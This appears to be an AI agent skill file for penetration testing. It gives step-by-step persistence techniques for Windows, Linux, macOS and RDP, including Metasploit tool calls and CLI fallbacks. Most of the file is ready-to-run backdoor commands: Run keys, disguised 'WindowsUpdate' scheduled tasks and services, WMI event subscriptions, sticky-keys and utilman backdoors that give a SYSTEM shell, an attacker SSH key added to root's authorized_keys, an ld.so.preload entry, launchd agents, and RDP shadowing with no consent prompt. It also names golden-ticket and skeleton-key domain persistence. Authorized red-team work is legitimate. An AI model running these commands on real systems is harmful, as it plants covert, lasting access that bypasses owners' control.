| name | persistence-pentest |
| description | Guides persistence mechanism research and documentation for Windows, Linux, and RDP. Use during post-exploit when ROE authorizes persistence testing, or to document options without deployment. |
Persistence Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE).
- Persistence deployment requires explicit ROE authorization. Default engagements document options only.
- Coordinate with client on detection, rollback, and removal windows.
- Load
msf-post for session context and cleanup procedures.
Workflow
Task Progress:
- [ ] Confirm persistence is authorized in engagement roe.yaml
- [ ] Record current privilege level and OS build
- [ ] Enumerate viable vectors (registry, tasks, services, cron, SSH)
- [ ] Document technique, path, and cleanup steps
- [ ] Deploy only when explicitly authorized; schedule removal
Windows user-level persistence
Registry Run keys (HKCU)
MSF MCP (preferred):
msf_run_post_module(
module_name="post/windows/manage/persistence_exe",
engagement_id="<id>",
session_id=<sid>,
options={"EXE_PATH": "C:\\Users\\Public\\svc.exe", "STARTUP": "USER", "RENAME": "Update"}
)
CLI fallback:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "C:\Users\Public\svc.exe" /f
copy payload.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
User scheduled tasks
MSF MCP (preferred):
msf_run_post_module(
module_name="post/windows/manage/schtasks",
engagement_id="<id>",
session_id=<sid>,
options={"EXE_PATH": "C:\\Users\\Public\\svc.exe", "NAME": "WindowsUpdate", "STARTUP": "USER"}
)
CLI fallback:
schtasks /create /sc onlogon /tn "WindowsUpdate" /tr "C:\Users\Public\svc.exe" /rl limited /f
Windows elevated persistence
Windows services
MSF MCP (preferred):
msf_run_post_module(
module_name="post/windows/manage/persistence_exe",
engagement_id="<id>",
session_id=<sid>,
options={"EXE_PATH": "C:\\Windows\\Temp\\svc.exe", "STARTUP": "SYSTEM", "RENAME": "UpdateSvc"}
)
CLI fallback:
sc create UpdateSvc binPath= "C:\Windows\Temp\svc.exe" start= auto
sc start UpdateSvc
Elevated scheduled tasks
MSF MCP (preferred):
msf_run_post_module(
module_name="post/windows/manage/schtasks",
engagement_id="<id>",
session_id=<sid>,
options={"EXE_PATH": "C:\\Windows\\Temp\\svc.exe", "NAME": "SystemUpdate", "STARTUP": "SYSTEM"}
)
CLI fallback:
schtasks /create /sc onstart /tn "SystemUpdate" /tr "C:\Windows\Temp\svc.exe" /ru SYSTEM /f
WMI event subscriptions
MSF MCP (preferred):
msf_console_execute(
command="use post/windows/wmi/persistence; set SESSION <sid>; set PAYLOAD C:\\Windows\\Temp\\svc.exe; run",
engagement_id="<id>"
)
CLI fallback:
$Filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
Name="UpdateFilter"; EventNamespace="root\cimv2"; QueryLanguage="WQL";
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
Name="UpdateConsumer"; CommandLineTemplate="C:\Windows\Temp\svc.exe"
}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$Filter; Consumer=$Consumer}
IFEO / accessibility backdoors
MSF: No direct module; use CLI.
CLI fallback:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
Press Shift x5 (sticky keys) or Win+U (utilman) at login screen for SYSTEM cmd.
Linux persistence
Crontab
MSF MCP (preferred):
msf_run_post_module(
module_name="post/linux/manage/sshkey_persistence",
engagement_id="<id>",
session_id=<sid>,
options={"USERNAME": "root", "PUBKEY": "ssh-rsa AAAA..."}
)
msf_console_execute(
command="use post/linux/manage/mount_cifs_creds; set SESSION <sid>; run",
engagement_id="<id>"
)
CLI fallback:
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.svc") | crontab -
echo "* * * * * root /tmp/.svc" >> /etc/crontab
Systemd user service
MSF MCP (preferred):
msf_run_post_module(
module_name="post/linux/manage/systemd",
engagement_id="<id>",
session_id=<sid>,
options={"SERVICE": "update.service", "PAYLOAD": "/tmp/.svc"}
)
CLI fallback:
mkdir -p ~/.config/systemd/user/
cat > ~/.config/systemd/user/update.service << EOF
[Unit]
Description=Update Service
[Service]
ExecStart=/tmp/.svc
Restart=always
[Install]
WantedBy=default.target
EOF
systemctl --user enable update.service
systemctl --user start update.service
SSH authorized_keys
MSF MCP (preferred):
msf_run_post_module(
module_name="post/linux/manage/sshkey_persistence",
engagement_id="<id>",
session_id=<sid>,
options={"USERNAME": "root", "PUBKEY": "ssh-rsa AAAA... attacker@host"}
)
CLI fallback:
echo "ssh-rsa AAAA... attacker@host" >> ~/.ssh/authorized_keys
echo "ssh-rsa AAAA... attacker@host" >> /root/.ssh/authorized_keys
LD_PRELOAD
MSF: No direct module; use CLI.
CLI fallback:
echo "/tmp/evil.so" >> /etc/ld.so.preload
macOS persistence
MSF MCP (preferred):
msf_run_post_module(
module_name="post/osx/manage/launchd",
engagement_id="<id>",
session_id=<sid>,
options={"PAYLOAD": "/tmp/payload.sh", "LABEL": "com.evil.update"}
)
msf_run_post_module(
module_name="post/osx/manage/startup",
engagement_id="<id>",
session_id=<sid>,
options={"PAYLOAD": "/tmp/payload.sh"}
)
CLI fallback:
cat > ~/Library/LaunchAgents/com.evil.update.plist << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
<key>Label</key><string>com.evil.update</string>
<key>ProgramArguments</key><array><string>/tmp/payload.sh</string></array>
<key>RunAtLoad</key><true/>
<key>KeepAlive</key><true/>
</dict></plist>
EOF
launchctl load ~/Library/LaunchAgents/com.evil.update.plist
sudo cp com.evil.update.plist /Library/LaunchDaemons/
sudo launchctl load /Library/LaunchDaemons/com.evil.update.plist
macOS login items / cron
MSF: No direct module; use CLI.
CLI fallback:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/tmp/payload.sh", hidden:true}'
echo "@reboot /tmp/payload.sh" | crontab -
RDP persistence
MSF: No direct module; use CLI.
CLI fallback:
# IFEO sticky keys / utilman (see Windows section)
quser /server:TARGET
mstsc /shadow:SESSION_ID /control /noConsentPrompt
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 2 /f
Domain-level (document only unless ROE permits)
- Golden ticket: forged TGT with krbtgt hash
- Golden certificate: forged AD CS certificate
- Skeleton key: patch DC authentication (extremely destructive)
Coordinate with client before any domain-wide persistence.
Cleanup documentation template
| Field | Value |
|---|
| Technique | e.g., HKCU Run key |
| Path/key | Full registry path or file path |
| Privilege required | User / Admin / SYSTEM |
| Removal command | Exact cleanup steps |
| Detection | Event IDs, Sysmon rules |
Metasploit integration
MSF MCP (preferred):
msf_search_modules(query="persistence")
msf_run_post_module(
module_name="post/windows/manage/persistence_exe",
engagement_id="<id>",
session_id=<sid>,
options={"EXE_PATH": "C:\\Windows\\Temp\\svc.exe", "STARTUP": "SYSTEM"}
)
msf_run_post_module(
module_name="post/windows/manage/schtasks",
engagement_id="<id>",
session_id=<sid>,
options={"EXE_PATH": "C:\\Windows\\Temp\\svc.exe", "NAME": "SystemUpdate", "STARTUP": "SYSTEM"}
)
msf_run_post_module(
module_name="post/linux/manage/sshkey_persistence",
engagement_id="<id>",
session_id=<sid>,
options={"USERNAME": "root", "PUBKEY": "ssh-rsa AAAA..."}
)
Document every artifact path. Use msf_terminate_session only after persistence cleanup is verified.
Related skills
windows-pentest - privesc before elevated persistence
linux-pentest - privesc and service abuse on Linux
macos-pentest - TCC and launchd context
internal-ad-pentest - domain-level persistence paths
red-team-evasion - OPSEC before deployment